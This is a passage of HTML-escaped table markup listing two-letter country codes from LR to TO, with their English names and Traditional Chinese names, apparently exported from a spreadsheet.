&lt;td&gt;'Liberia'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'利比里亞'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'LS'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Lesotho'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'萊索托'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'LT'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Lithuania'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'立陶宛'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'LU'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Luxembourg'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'盧森堡'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'LV'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Latvia'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'拉托維亞'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'LY'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Libyan Arab Jamahiriya'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'利比亞'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'MA'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Morocco'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'摩洛哥'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'MC'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Monaco'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'摩納哥'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'MD'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Moldova'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'摩爾多瓦'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'MG'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Madagascar'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'馬達加斯加'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'MH'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Marshall Islands'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'馬紹爾群島'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'ML'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Mali'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'馬里'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'MN'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Mongolia'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'蒙古'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'MM'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Myanmar'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'緬甸'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'MO'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Macau'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'澳門'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'MP'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Northern Mariana Islands'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'北馬里亞納群島'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'MQ'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Martinique'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'馬提尼克'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'MR'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Mauritania'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'毛里塔尼亞'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'MS'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Monserrat'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'蒙特塞拉特'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'MT'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Malta'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'馬爾他'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'MU'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Mauritius'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'毛里求斯'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'MV'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Maldives'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'馬爾地夫'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'MW'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Malawi'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'馬拉威'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'MX'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Mexico'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'墨西哥'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'MY'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Malaysia'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'馬來西亞'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'MZ'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Mozambique'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'莫桑比克'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'NA'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Namibia'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'納米比亞'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'NC'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'New Caledonia'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'新喀裡多尼亞'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'NE'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Niger'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'尼日爾'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'NF'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Norfolk Island'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'諾福克島'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'NG'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Nigeria'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'尼日利亞'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'NI'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Nicaragua'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'尼加拉瓜'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'NL'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Netherlands'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'荷蘭'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'NO'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Norway'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'挪威'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'NP'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Nepal'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'尼泊爾'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'NR'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Nauru'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'瑙魯'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'NU'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Niue'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'紐埃'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'NZ'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'New Zealand'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'紐西蘭'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'OM'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Oman'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'阿曼'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'PA'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Panama'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'巴拿馬'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'PE'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Peru'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'秘魯'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'PF'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'French Polynesia'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'法屬波利尼西亞'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'PG'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Papua New Guinea'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'巴布亞新幾內亞'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'PH'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Philippines'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'菲律賓'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'PK'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Pakistan'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'巴基斯坦'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'PL'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Poland'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'波蘭'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'PM'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'St. Pierre &amp;amp; Miquelon'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'聖皮埃爾和密克隆群島'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'PN'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Pitcairn'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'皮特凱恩'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'PR'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Puerto Rico'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'波多黎各'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'PT'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Portugal'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'葡萄牙'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'PW'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Palau'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'帕勞'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'PY'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Paraguay'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'巴拉圭'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'QA'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Qatar'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'卡塔爾'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'RE'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Réunion'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'留尼汪'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'RO'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Romania'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'羅馬尼亞'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'RU'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Russian Federation'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'俄羅斯聯邦'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'RW'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Rwanda'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'盧旺達'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'SA'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Saudi Arabia'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'沙特阿拉伯'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'SB'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Solomon Islands'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'所羅門群島'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'SC'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Seychelles'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'塞舌爾'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'SD'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Sudan'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'蘇丹'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'SE'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Sweden'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'瑞典'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'SG'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Singapore'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'新加坡'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'SH'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'St. Helena'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'聖赫勒拿'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'SI'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Slovenia'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'斯洛文尼亞'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'SJ'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Svalbard &amp;amp; Jan Mayen   Islands'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'斯瓦爾巴群島和揚馬延島'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'SK'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Slovakia'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'斯洛伐克'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'SL'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Sierra Leone'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'塞拉利昂'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'SM'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'San Marino'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'聖馬力諾'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'SN'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Senegal'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'塞內加爾'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'SO'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Somalia'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'索馬里'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'SR'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Suriname'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'蘇里南'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'ST'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Sao Tome &amp;amp; Principe'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'聖多美和普林西比'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'SV'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'El Salvador'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'薩爾瓦多'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'SY'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Syrian Arab Republic'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'敘利亞'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'SZ'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Swaziland'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'史瓦濟蘭'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'TC'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Turks &amp;amp; Caicos Islands'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'特克斯和凱科斯群島'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'TD'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Chad'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'查德'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'TF'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'French Southern Territories'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'法國南部領土'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'TG'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Togo'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'多哥'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'TH'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Thailand'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'泰國'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'TJ'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Tajikistan'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'塔吉克斯坦'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'TK'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Tokelau'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'托克勞'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'TM'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Turkmenistan'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'土庫曼斯坦'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'TN'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Tunisia'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'突尼斯'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'TO'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Tonga'&lt;/td&gt;   